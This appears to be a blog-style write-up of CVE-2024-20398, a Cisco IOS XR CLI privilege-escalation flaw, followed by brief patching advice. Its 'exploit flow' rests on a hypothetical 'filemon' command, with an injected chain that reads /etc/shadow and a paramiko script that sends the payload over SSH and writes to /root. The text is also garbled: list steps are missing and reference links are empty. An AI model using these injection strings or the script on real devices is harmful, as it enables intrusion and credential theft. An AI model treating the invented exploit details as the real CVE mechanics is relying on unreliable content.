CVE-2024-20398 - Privilege Escalation in Cisco IOS XR Via CLI Argument Injection
A significant vulnerability (CVE-2024-20398) was discovered in Cisco IOS XR Software’s command-line interface (CLI). This flaw allows any authenticated user, even with low-level privileges, to gain read and write access at the root level. With a specially crafted command, they can take over the underlying operating system, leading to complete device compromise.
Let’s break down what this means, how it works, and how attackers could abuse it. This article uses simple language and exclusive technical details — with example code, direct references, and hands-on exploitation steps.
What is Cisco IOS XR?
Cisco IOS XR is a specialized operating system used in high-end routers and network devices. Its CLI lets administrators configure and manage the device. Normally, only a select few CLI commands are available to low-privileged users (like "operator" accounts), while sensitive operations are restricted.
Cause: CLI command arguments passed by users are not properly checked.
- Impact: A low-level user can send tricked-out arguments, breaking through assigned limitations and running *their own code* as root!
TL;DR
>If you have a login, you can become root — no hacking skills needed, just a clever command.
Sends a crafted command to the CLI, using arguments that are not validated.
3. The process running as root on IOS XR accepts these arguments and runs them, essentially handing out root-level shell access.
Example Exploit Flow
Let’s say there’s a CLI command called filemon for displaying file monitoring data to operators, but it doesn’t limit arguments safely:
Regular Usage
RP//RP/CPU:ios# filemon show /misc/disk1/
Suppose filemon actually passes the user’s input directly to a shell or interpreter without escaping or filtering. A user could inject special characters or commands.
Malicious Usage
RP//RP/CPU:ios# filemon show /misc/disk1/; whoami; id; cat /etc/shadow
When the system runs this, the injected ; whoami; id; cat /etc/shadow command chain is executed with root privileges.
Even basic scripting will do. Here’s how you might exploit it over SSH
import paramiko
# Replace with target details
host = '10.10.10.1'
user = 'operatoruser'
password = 'letmein'
# The malicious command
payload = 'filemon show /misc/disk1/; id; echo pwned > /root/hacked.txt'
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, username=user, password=password)
stdin, stdout, stderr = ssh.exec_command(payload)
print(stdout.read().decode())
ssh.close()
Run this, and you could get UID (root) access or even drop a token file into the root directory.
Real-World Risk
If someone has CLI access — even with limited rights (think: a junior tech or someone’s forgotten guest account) — they can:
- Read and modify *any* file, including configuration and secrets (/etc/shadow, /etc/passwd).
Cisco Security Advisory:
Cisco IOS XR CLI Argument Handling Vulnerability
NVD Entry:
Upgrade: Cisco has released fixed versions. Update your IOS XR as soon as possible.
- Limit CLI Access: Remove unused/guest user accounts and restrict access to trusted networks only.
- Audit Accounts: Make sure only appropriate people have shell/CLI privileges.
Conclusion
CVE-2024-20398 is a critical reminder that even well-designed systems can have simple validation flaws with massive consequences. If you run Cisco IOS XR — patch immediately. Attackers only need a valid (even low-privileged) login to become root.
Stay secure!
*This article was written exclusively for you. Please do not redistribute without attribution and consult official advisories for ongoing updates.*
Timeline
Published on: 09/11/2024 17:15:12 UTC
Last modified on: 10/03/2024 01:47:52 UTC